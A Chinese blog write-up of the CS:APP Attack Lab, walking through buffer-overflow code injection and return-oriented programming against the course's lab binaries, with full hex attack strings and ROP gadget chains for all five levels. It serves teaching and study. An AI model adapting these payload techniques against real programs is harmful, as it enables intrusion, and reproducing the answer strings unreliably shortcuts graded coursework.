csapp-Attacklab

  这是csapp系列的第三篇文章。具体题目请见官网。本文主要讲csapp中的attacklab的流程和心得。如果有什么写得不好的地方,欢迎联系我修改(右下角小图标点开即可对话)。
  个人觉得这个实验比起前面两个还是要稍微简单一点的,但是强烈建议把官网给的资料看一下,看完相信对完成这个实验还是有很大帮助的。整个实验主要是一开始无从下手以及最后一个level比较麻烦,但结合资料的相关提示的话,做起来难度还是不大的,建议尝试着不看任何其他教程自己独立完成。

attacklab 实验要求

  这个实验要求我们使用缓冲区溢出对ctarget和rtarget进行攻击。总共有五个关卡,其中,前三个要求使用代码注入(code injection)对ctarget进行攻击,后面两个要求使用return-oriented programming(ROP)对rtarget进行攻击。

实验文件:
ctarget 和 rtarget:我们需要攻击的对象。
hex2raw:帮助我们用来生成攻击字符串的文件。
cookie: 识别文件,用来区分不同的用户(一般拿到的值是一个随机的8位16进制数)
farm.c:用于提供gadget,与后面两个关卡有关。

实验目的:
熟练掌握gdb和objdump的相关功能
加深对缓冲区溢出现象的理解,以及懂得如何简单地对某个程序进行缓冲区溢出攻击
了解x86-64的一些指令的编码等

target 文件的一些注意点

  无论是rtarget还是ctarget两个文件都有相似的构造。两个文件都包含有下面的函数。

1
2
3
4
5
6
7
8
9
10
void test() {
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
unsigned getbuf() {
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}

  其中,BUFFER_SIZE是宏定义,我们暂时不知道是多少,然后Gets()函数和gets()函数的功能基本相同。很明显,一旦我们输入的字符串比较长的时候,这就会产生缓冲区溢出的现象。因此,我们需要利用这一点,对该程序进行攻击。具体其他很多函数的细节,其实可以完全不去管。我们需要做的仅仅是生成一个特定的满足要求的字符串,通过overwrite栈上面的数据,使得getbuf函数无法顺利返回,并且,成功运行事先就存在于文件中的函数touchx()。
  再次强调一下,所有需要了解的相关细节和知识点在官方资料中都有提到,本文基本上只是对该资料的部分内容进行翻译,以及提供一个完成该实验的思路,仅供参考。

Part I:level 1

  第一题比较简单,是让我们熟悉一下相关的一些操作。在正式开始实验以前,建议先使用objdump将rtarget和ctarget反编译,可以使用类似objdump -d ctarget > ctarget.txt 等命令将反编译文件写入txt中,便于查看。
  我们先看一下getbuf中BUFFER_SIZE究竟是多少。查看ctarget.txt中的内容有以下几行:

1
2
3
4
5
6
7
8
9
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop

  由上图,我们可以看到,BUFFER_SIZE应该是一个小于40(0x28)的数字。%rsp+0x28上存放的地址就是函数正确返回的时候,PC需要指向的地址。这也是我们需要overwrite的地方。

1
2
3
4
5
6
void touch1() {
vlevel = 1;
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}

  如上图,touch1不需要我们传入任何参数,因此我们只需要将返回地址覆盖为touch1的入口地址即可。注意这里是采用小端法。
  注意到,一个函数返回时,对应的汇编语句为 ret,这个时候程序会取出位于栈顶的8个字节的数据,并将其弹出,最后再将PC(program counter)更改为从栈顶取出的那个数据,本质上这其实就是一个control transfer的过程,将控制权从一个函数转移到另一个函数。答案可以为:

61 61 61 61 61
61 61 61 61 61
61 61 61 61 61
61 61 61 61 61
61 61 61 61 61
61 61 61 61 61
61 61 61 61 61
61 61 61 61 61
c0 17 40 00 00 00 00 00 /* 这一行即为touch1的入口地址。前面的40个字节在函数返回时相当与丢失了。 */

  将上图中的编码存在某个文件中(这里我存在ctarget1.txt中),然后使用如下指令即可(注意ctarget和hex2raw应该在当前目录下):

cat ctarget1.txt | ./hex2raw | ./ctarget -q

Part I: level 2

  有了上一题的基础,我们对实验稍微熟悉一些了。接下来的我们需要进入touch2函数了。

1
2
3
4
5
6
7
8
9
10
void touch2(unsigned value) {
vlevel = 2;
if (val == cookie) {
...
validate(2);
} else {
...
fail(2);
}
}

  这个函数需要我们传入一个参数,同时这个参数还要和cookie相等(还记得实验文件中有一个cookie吗?这个cookie就是就是那个文件里面的数字的值)。 由于需要传入参数,没那么好处理了。这个时候我们就需要注入自己的代码了。
  我们需要实现这样的一个指令:

mov $cookie, %rdi // cookie为和每个用户对应的那个数字
ret

  为了获取这个指令的机器级表示,我们可以用gcc将其编译成obj,再用objdump反编译,可以得到对应的机器码。然后,再将其写入txt文件中即可。这里,我的答案是:

bf fa 97 b9 59 /* Set %rdi to cookie*/
c3 60 60 60 60 /* transfer control to touch2 */
60 60 60 60 60
60 60 60 60 60
60 60 60 60 60
60 60 60 60 60
60 60 60 60 60
60 60 60 60 60
78 dc 61 55 00 00 00 00
ec 17 40 00 00 00 00 00

  %rsp+028并且函数返回之后,PC将指向0x5561dc78,在这里即为bf字节对应的地址。顺利执行完mov语句后,执行c3(ret指令),PC将指向0x4017ec,这里即为函数touch2的入口地址。继续,使用类似上面的命令将攻击字符串导入,第二题顺利解决。

Part I: level 3

  和上一题类似,本题需要传入的是一个char指针,即将cookie的那串数字看成字符串。注意,0x不包含在这个字符串当中。同样的,我们可以使用类似上一题的方法,将我们需要的代码和cookie字符串(这里应该查询ASCII码,找到自己的那个串中每个字符对应的数字为多少)注入其中。
  值得注意的是,本题有一个陷阱,当执行touch3的时候,touch3内部执行了hexmatch函数,这里会覆盖掉栈中我们注入的一些数据。但注意到栈是往下生长的,我们只要把cookie字符串放在上面即可。以下为我的答案:

60 60 60 60 60
60 60 60 60 60
60 60 60 60 60
60 60 60 60 60
60 60 60 60 60
60 60 60 60 60
60 60 60 60 60
60 60 60 60 60
b0 dc 61 55 00 00 00 00 // 覆盖掉原先的返回地址,指向下方我们注入的那个函数
fa 18 40 00 00 00 00 00
48 c7 c7 c0 dc 61 55 c3 // 这一行将cookie的首地址mov到%rdi上,并返回
00 00 00 00 00 00 00 00
35 39 62 39 39 37 66 61 // 这一行为我的cookie值

Part II: level 2

  这一道题开始,难度有点加大了。在rtarget文件中,采用了地址空间布局随机化,以及限制栈上的代码无法被执行等方式,使得我们无法采用代码注入对程序进行攻击。这个时候我们需要采用return-oriented programming(ROP)技术来攻击代码。具体如下图。

1
2
3
void setval_210(unsigned \*p) {
\*p = 3347663060U;
}

  对于上面这个函数,我们看起来好像没有什么特别的。但倘若从机器码的角度来看呢?

400f15: c7 07 d4 48 89 c7 movl $0xc78948d4, (%rdi)
400f1b: c3 retq

  好像还是没有什么特别的。但我们注意到,48,89,c7还可以被理解成另一种意思。如果这个函数是从400f18地址开始的,那么将变成:

400f18: 48 89 c7 movq %rax, %rdi
400f1b: c3 retq

  整个程序的意思完全变了!这就是ROP的特点。利用别人自身的代码攻击别人。只要换了一个位置开始解读,整个程序的结果就会发生很大的变化。我们要做的正是利用这一点来攻击rtarget。为了方便我们的攻击,rtarget中含有很多类似上面这样的容易攻击的函数。从start_farm开始,到end_farm都是我们可以利用来攻击的gadget。
  这个时候我们再来看一下题目的要求。我们需要使用ROP进入touch2中,并且传入正确的cookie。进入touch2还容易,可cookie怎么找?直接找源代码中有没有读应的字节序列吗?这不太可能。注意到还有这个代码popq,对应的编码为0x58~0x5f。怎么用呢?我们实现将cookie注入栈上,然后跳转到某个指令。popq将这个cookie取下,并放在某个寄存器中。然后在将其移动到%rdi。最后再跳转到touch2完成任务。
  以下是我的答案:

60 60 60 60 60
60 60 60 60 60
60 60 60 60 60
60 60 60 60 60
60 60 60 60 60
60 60 60 60 60
60 60 60 60 60
60 60 60 60 60
ab 19 40 00 00 00 00 00 // 跳转到0x4019ab,实现popq,将cookie取下
fa 97 b9 59 00 00 00 00 // 我自己的cookie
a2 19 40 00 00 00 00 00 // 跳转到0x4019a2,将cookie移动至%rdi
ec 17 40 00 00 00 00 00 // 跳转到0x4017ec,即touch2所在地址

Part II: level 3

  这道题需要实现跳转到touch3中,并且传入char指针,指向我们的cookie字符串。明显有一定难度。官方资料中将我们可能需要用到的指令列出来。如下。
pic
  由官方所给的提示,我们知道答案应该主要是用mov指令来实现的。注意到mov指令均含有89这个数字,我们可以使用ctrl+f查找有可能被我们用到的gadget。再次,我找到的如下。左边为该实现该指令需要跳转向的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
4019ab 58          pop %rax
90 nop
c3 ret

4019a2 48 89 c7 mov %rax, %rdi
c3 ret

4019dd 89 c2 mov %eax, %edx
90 nop
c3 ret

401a06 48 89 e0 mov %rsp, %rax
c3 ret

401a69 89 d1 mov %edx, %ecx
08 db orb %bl, %bl
c3 ret

401a42 89 c2 mov %eax, %edx
84 c0 testb %al, %al
c3 ret

401a27 89 ce mov %ecx,%esi
38 c0 cmpb %al, %al
c3 ret

  我们如果直接将字符串放在栈当中,但我们又不知到位置,没办法得到对应的指针。因此我们想采用栈顶指针+偏移量的做法。一开始,笔者在这里卡了非常久,一直找不到比较好的办法来解决。直到我看见了farm中有这样一个函数:

1
2
3
long add_xy(long x, long y) {
return x+y;
}

  所以答案,瞬间解决了。按顺序,总共8个gadget,每一个gadget对应的汇编代码如下(ret省去):

1
2
3
4
5
6
7
8
mov %rsp, %rax
mov %rax, %rdi
pop %rax
mov %eax, %edx
mov %edx, %ecx
mov %ecx, %esi
leaq (%rdi, %rsi, 1) %rax
mov %rax %rdi

  以下是我的答案:

60 60 60 60 60
60 60 60 60 60
60 60 60 60 60
60 60 60 60 60
60 60 60 60 60
60 60 60 60 60
60 60 60 60 60
60 60 60 60 60
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
27 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00

总结

  转眼间寒假已经过了好几天了。今天花了接近一天的时间完成了这个实验,以及写下这篇博客。总的来说,虽然做实验的过程很辛苦,但是做完感觉还是很舒服的。虽然我也不知到为什么想要把所有实验的过程都用博客记录下来(这么偏僻的地方应该也没有人会过来看吧)。可能是为了锻炼自己写报告的能力???好吧,我也不知道。还是希望自己好好加油,继续坚持写下去吧。这也才仅仅是第三篇而已,还有8篇呢。。
  頑張ってくださいね~!

------------- The artical is over Thanks for your reading -------------